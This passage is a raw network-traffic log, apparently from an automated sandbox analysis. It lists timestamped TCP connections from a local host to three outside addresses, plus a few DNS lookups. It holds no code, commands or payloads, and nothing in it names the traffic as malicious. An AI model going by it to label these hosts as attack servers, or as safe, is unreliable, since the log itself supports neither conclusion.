Jan 15, 2025 08:39:07.221389055 CET	49741	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:07.225227118 CET	49737	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:07.230093956 CET	80	49737	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:07.410420895 CET	80	49737	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:07.414206982 CET	49743	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:07.414273977 CET	443	49743	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:07.414346933 CET	49743	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:07.414882898 CET	49743	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:07.414917946 CET	443	49743	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:07.451354027 CET	49737	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:07.667814970 CET	80	49742	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:07.669457912 CET	49744	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:07.669502020 CET	443	49744	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:07.669557095 CET	49744	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:07.669836998 CET	49744	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:07.669845104 CET	443	49744	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:07.716958046 CET	49742	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:07.893307924 CET	443	49743	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:07.895109892 CET	49743	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:07.895190001 CET	443	49743	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:08.006998062 CET	443	49743	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:08.007184029 CET	443	49743	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:08.007237911 CET	49743	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:08.007622004 CET	49743	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:08.011071920 CET	49737	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:08.012379885 CET	49745	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:08.015991926 CET	80	49737	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:08.016037941 CET	49737	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:08.017214060 CET	80	49745	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:08.017287016 CET	49745	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:08.017352104 CET	49745	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:08.022181988 CET	80	49745	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:08.131972075 CET	443	49744	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:08.133860111 CET	49744	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:08.133898973 CET	443	49744	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:08.280589104 CET	443	49744	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:08.280750036 CET	443	49744	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:08.280919075 CET	49744	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:08.283977032 CET	49744	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:08.284686089 CET	49742	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:08.285794973 CET	49746	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:08.289814949 CET	80	49742	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:08.289941072 CET	49742	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:08.290616035 CET	80	49746	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:08.290771961 CET	49746	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:08.290771961 CET	49746	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:08.295557022 CET	80	49746	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:08.652220964 CET	80	49745	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:08.653959036 CET	49747	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:08.654038906 CET	443	49747	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:08.654453993 CET	49747	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:08.655145884 CET	49747	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:08.655194998 CET	443	49747	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:08.704093933 CET	49745	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:08.917781115 CET	80	49746	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:08.919297934 CET	49748	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:08.919359922 CET	443	49748	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:08.919569016 CET	49748	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:08.919796944 CET	49748	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:08.919811964 CET	443	49748	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:08.967004061 CET	49746	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:09.114896059 CET	443	49747	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:09.116440058 CET	49747	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:09.116497040 CET	443	49747	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:09.261903048 CET	443	49747	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:09.262048960 CET	443	49747	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:09.262137890 CET	49747	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:09.262597084 CET	49747	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:09.267399073 CET	49749	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:09.272267103 CET	80	49749	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:09.272422075 CET	49749	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:09.272509098 CET	49749	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:09.277319908 CET	80	49749	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:09.382091045 CET	443	49748	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:09.383681059 CET	49748	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:09.383765936 CET	443	49748	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:09.512403011 CET	443	49748	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:09.512572050 CET	443	49748	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:09.512648106 CET	49748	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:09.512984037 CET	49748	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:09.518853903 CET	49746	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:09.520057917 CET	49750	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:09.523864985 CET	80	49746	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:09.523947001 CET	49746	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:09.524903059 CET	80	49750	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:09.524981022 CET	49750	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:09.525104046 CET	49750	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:09.529843092 CET	80	49750	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:09.906088114 CET	80	49749	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:09.907455921 CET	49751	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:09.907514095 CET	443	49751	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:09.907663107 CET	49751	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:09.907923937 CET	49751	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:09.907954931 CET	443	49751	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:09.951343060 CET	49749	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:10.149517059 CET	80	49750	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:10.151324987 CET	49752	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:10.151391029 CET	443	49752	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:10.151473999 CET	49752	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:10.151765108 CET	49752	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:10.151777983 CET	443	49752	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:10.201339006 CET	49750	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:10.378037930 CET	443	49751	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:10.379661083 CET	49751	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:10.379688978 CET	443	49751	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:10.512970924 CET	443	49751	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:10.513184071 CET	443	49751	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:10.513240099 CET	49751	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:10.513586044 CET	49751	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:10.518037081 CET	49749	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:10.519304991 CET	49753	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:10.523041964 CET	80	49749	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:10.523102045 CET	49749	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:10.524249077 CET	80	49753	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:10.524331093 CET	49753	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:10.524418116 CET	49753	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:10.529310942 CET	80	49753	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:10.633390903 CET	443	49752	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:10.635075092 CET	49752	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:10.635157108 CET	443	49752	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:10.767107964 CET	443	49752	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:10.767307997 CET	443	49752	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:10.767484903 CET	49752	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:10.767942905 CET	49752	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:10.772196054 CET	49750	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:10.773442984 CET	49754	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:10.777388096 CET	80	49750	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:10.777453899 CET	49750	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:10.778414965 CET	80	49754	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:10.778508902 CET	49754	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:10.778608084 CET	49754	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:10.783379078 CET	80	49754	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:11.158901930 CET	80	49753	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:11.160110950 CET	49755	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:11.160204887 CET	443	49755	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:11.160284042 CET	49755	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:11.160732985 CET	49755	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:11.160813093 CET	443	49755	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:11.201514959 CET	49753	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:11.401498079 CET	80	49754	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:11.451370955 CET	49754	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:11.463088036 CET	49756	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:11.463145018 CET	443	49756	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:11.463211060 CET	49756	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:11.463622093 CET	49756	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:11.463643074 CET	443	49756	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:11.628978968 CET	443	49755	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:11.643754959 CET	49755	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:11.643840075 CET	443	49755	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:11.777653933 CET	443	49755	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:11.777807951 CET	443	49755	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:11.778132915 CET	49755	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:11.778383017 CET	49755	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:11.782500982 CET	49753	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:11.782990932 CET	49757	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:11.787632942 CET	80	49753	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:11.787810087 CET	49753	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:11.788017035 CET	80	49757	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:11.788137913 CET	49757	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:11.788259983 CET	49757	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:11.793123960 CET	80	49757	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:11.918021917 CET	443	49756	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:11.923063040 CET	49756	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:11.923086882 CET	443	49756	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:12.063730001 CET	443	49756	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:12.063786983 CET	443	49756	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:12.063853979 CET	49756	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:12.064451933 CET	49756	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:12.068687916 CET	49754	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:12.069870949 CET	49758	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:12.073748112 CET	80	49754	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:12.073807955 CET	49754	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:12.074863911 CET	80	49758	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:12.074955940 CET	49758	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:12.075045109 CET	49758	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:12.079965115 CET	80	49758	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:12.423669100 CET	80	49757	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:12.425014019 CET	49759	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:12.425117016 CET	443	49759	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:12.425204992 CET	49759	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:12.425482988 CET	49759	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:12.425518990 CET	443	49759	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:12.466979980 CET	49757	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:12.706100941 CET	80	49758	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:12.707582951 CET	49760	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:12.707684994 CET	443	49760	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:12.707766056 CET	49760	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:12.708045959 CET	49760	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:12.708070040 CET	443	49760	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:12.748223066 CET	49758	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:12.894571066 CET	443	49759	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:12.896445990 CET	49759	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:12.896528959 CET	443	49759	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:13.009107113 CET	443	49759	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:13.009274960 CET	443	49759	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:13.009454012 CET	49759	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:13.009799004 CET	49759	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:13.014468908 CET	49757	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:13.016242027 CET	49761	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:13.019567013 CET	80	49757	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:13.019634008 CET	49757	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:13.021217108 CET	80	49761	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:13.021287918 CET	49761	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:13.021369934 CET	49761	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:13.026191950 CET	80	49761	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:13.189579964 CET	443	49760	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:13.190988064 CET	49760	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:13.191046953 CET	443	49760	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:13.328200102 CET	443	49760	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:13.328284979 CET	443	49760	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:13.328589916 CET	49760	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:13.328695059 CET	49760	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:13.332065105 CET	49758	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:13.333050966 CET	49762	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:13.337116003 CET	80	49758	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:13.337186098 CET	49758	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:13.338001966 CET	80	49762	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:13.338073969 CET	49762	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:13.338157892 CET	49762	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:13.343153000 CET	80	49762	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:13.647267103 CET	80	49761	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:13.671461105 CET	49763	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:13.671551943 CET	443	49763	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:13.671695948 CET	49763	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:13.672178984 CET	49763	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:13.672215939 CET	443	49763	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:13.701370001 CET	49761	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:13.967593908 CET	80	49762	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:13.969288111 CET	49764	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:13.969383955 CET	443	49764	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:13.969490051 CET	49764	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:13.969944954 CET	49764	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:13.969981909 CET	443	49764	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:14.013938904 CET	49762	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:14.149068117 CET	443	49763	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:14.150962114 CET	49763	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:14.151047945 CET	443	49763	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:14.296041012 CET	443	49763	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:14.296125889 CET	443	49763	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:14.296205997 CET	49763	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:14.312596083 CET	49763	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:14.360457897 CET	49765	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:14.361495018 CET	49761	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:14.366288900 CET	80	49765	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:14.366380930 CET	49765	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:14.367685080 CET	80	49761	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:14.367758989 CET	49761	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:14.424242020 CET	443	49764	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:14.434523106 CET	49764	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:14.434580088 CET	443	49764	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:14.442634106 CET	49765	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:14.447487116 CET	80	49765	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:14.542064905 CET	443	49764	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:14.542144060 CET	443	49764	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:14.542193890 CET	49764	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:14.542912960 CET	49764	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:14.736341000 CET	49762	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:14.741529942 CET	80	49762	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:14.741599083 CET	49762	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:14.743679047 CET	49766	443	192.168.2.4	149.154.167.220
Jan 15, 2025 08:39:14.743726015 CET	443	49766	149.154.167.220	192.168.2.4
Jan 15, 2025 08:39:14.743782997 CET	49766	443	192.168.2.4	149.154.167.220
Jan 15, 2025 08:39:14.744441986 CET	49766	443	192.168.2.4	149.154.167.220
Jan 15, 2025 08:39:14.744467020 CET	443	49766	149.154.167.220	192.168.2.4
Jan 15, 2025 08:39:14.999947071 CET	80	49765	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:15.001471043 CET	49767	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:15.001516104 CET	443	49767	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:15.001575947 CET	49767	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:15.001904964 CET	49767	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:15.001921892 CET	443	49767	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:15.045125961 CET	49765	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:15.383326054 CET	443	49766	149.154.167.220	192.168.2.4
Jan 15, 2025 08:39:15.383440971 CET	49766	443	192.168.2.4	149.154.167.220
Jan 15, 2025 08:39:15.386177063 CET	49766	443	192.168.2.4	149.154.167.220
Jan 15, 2025 08:39:15.386203051 CET	443	49766	149.154.167.220	192.168.2.4
Jan 15, 2025 08:39:15.386636019 CET	443	49766	149.154.167.220	192.168.2.4
Jan 15, 2025 08:39:15.388571978 CET	49766	443	192.168.2.4	149.154.167.220
Jan 15, 2025 08:39:15.435349941 CET	443	49766	149.154.167.220	192.168.2.4
Jan 15, 2025 08:39:15.459842920 CET	443	49767	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:15.462754011 CET	49767	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:15.462774992 CET	443	49767	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:15.605343103 CET	443	49767	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:15.605403900 CET	443	49767	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:15.605588913 CET	49767	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:15.606338024 CET	49767	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:15.611936092 CET	49769	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:15.612059116 CET	49765	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:15.616844893 CET	80	49769	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:15.617036104 CET	49769	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:15.617134094 CET	49769	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:15.617321968 CET	80	49765	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:15.620997906 CET	49765	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:15.621965885 CET	80	49769	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:15.625099897 CET	443	49766	149.154.167.220	192.168.2.4
Jan 15, 2025 08:39:15.625180006 CET	443	49766	149.154.167.220	192.168.2.4
Jan 15, 2025 08:39:15.625262976 CET	49766	443	192.168.2.4	149.154.167.220
Jan 15, 2025 08:39:15.632951021 CET	49766	443	192.168.2.4	149.154.167.220
Jan 15, 2025 08:39:16.274338007 CET	80	49769	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:16.276129961 CET	49770	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:16.276228905 CET	443	49770	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:16.276320934 CET	49770	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:16.276633978 CET	49770	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:16.276671886 CET	443	49770	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:16.326411963 CET	49769	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:16.753818035 CET	443	49770	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:16.755830050 CET	49770	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:16.755858898 CET	443	49770	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:16.890670061 CET	443	49770	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:16.890865088 CET	443	49770	104.21.48.1	192.168.2.4
Jan 15, 2025 08:39:16.890986919 CET	49770	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:16.891935110 CET	49770	443	192.168.2.4	104.21.48.1
Jan 15, 2025 08:39:16.920808077 CET	49769	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:16.926021099 CET	80	49769	193.122.6.168	192.168.2.4
Jan 15, 2025 08:39:16.926264048 CET	49769	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:16.927175045 CET	49773	443	192.168.2.4	149.154.167.220
Jan 15, 2025 08:39:16.927268982 CET	443	49773	149.154.167.220	192.168.2.4
Jan 15, 2025 08:39:16.928174019 CET	49773	443	192.168.2.4	149.154.167.220
Jan 15, 2025 08:39:16.928612947 CET	49773	443	192.168.2.4	149.154.167.220
Jan 15, 2025 08:39:16.928669930 CET	443	49773	149.154.167.220	192.168.2.4
Jan 15, 2025 08:39:17.564191103 CET	443	49773	149.154.167.220	192.168.2.4
Jan 15, 2025 08:39:17.564307928 CET	49773	443	192.168.2.4	149.154.167.220
Jan 15, 2025 08:39:17.589514971 CET	49773	443	192.168.2.4	149.154.167.220
Jan 15, 2025 08:39:17.589560032 CET	443	49773	149.154.167.220	192.168.2.4
Jan 15, 2025 08:39:17.589965105 CET	443	49773	149.154.167.220	192.168.2.4
Jan 15, 2025 08:39:17.610655069 CET	49773	443	192.168.2.4	149.154.167.220
Jan 15, 2025 08:39:17.655340910 CET	443	49773	149.154.167.220	192.168.2.4
Jan 15, 2025 08:39:17.808172941 CET	443	49773	149.154.167.220	192.168.2.4
Jan 15, 2025 08:39:17.808254004 CET	443	49773	149.154.167.220	192.168.2.4
Jan 15, 2025 08:39:17.808362961 CET	49773	443	192.168.2.4	149.154.167.220
Jan 15, 2025 08:39:17.836663008 CET	49773	443	192.168.2.4	149.154.167.220
Jan 15, 2025 08:39:32.054512978 CET	49738	80	192.168.2.4	193.122.6.168
Jan 15, 2025 08:39:34.231540918 CET	49745	80	192.168.2.4	193.122.6.168

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 08:39:03.333297968 CET	58540	53	192.168.2.4	1.1.1.1
Jan 15, 2025 08:39:03.340167999 CET	53	58540	1.1.1.1	192.168.2.4
Jan 15, 2025 08:39:04.226078033 CET	49542	53	192.168.2.4	1.1.1.1
Jan 15, 2025 08:39:04.233692884 CET	53	49542	1.1.1.1	192.168.2.4
Jan 15, 2025 08:39:14.735824108 CET	60150	53	192.168.2.4	1.1.1.1
Jan 15, 2025 08:39:14.742846966 CET	53	60150	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
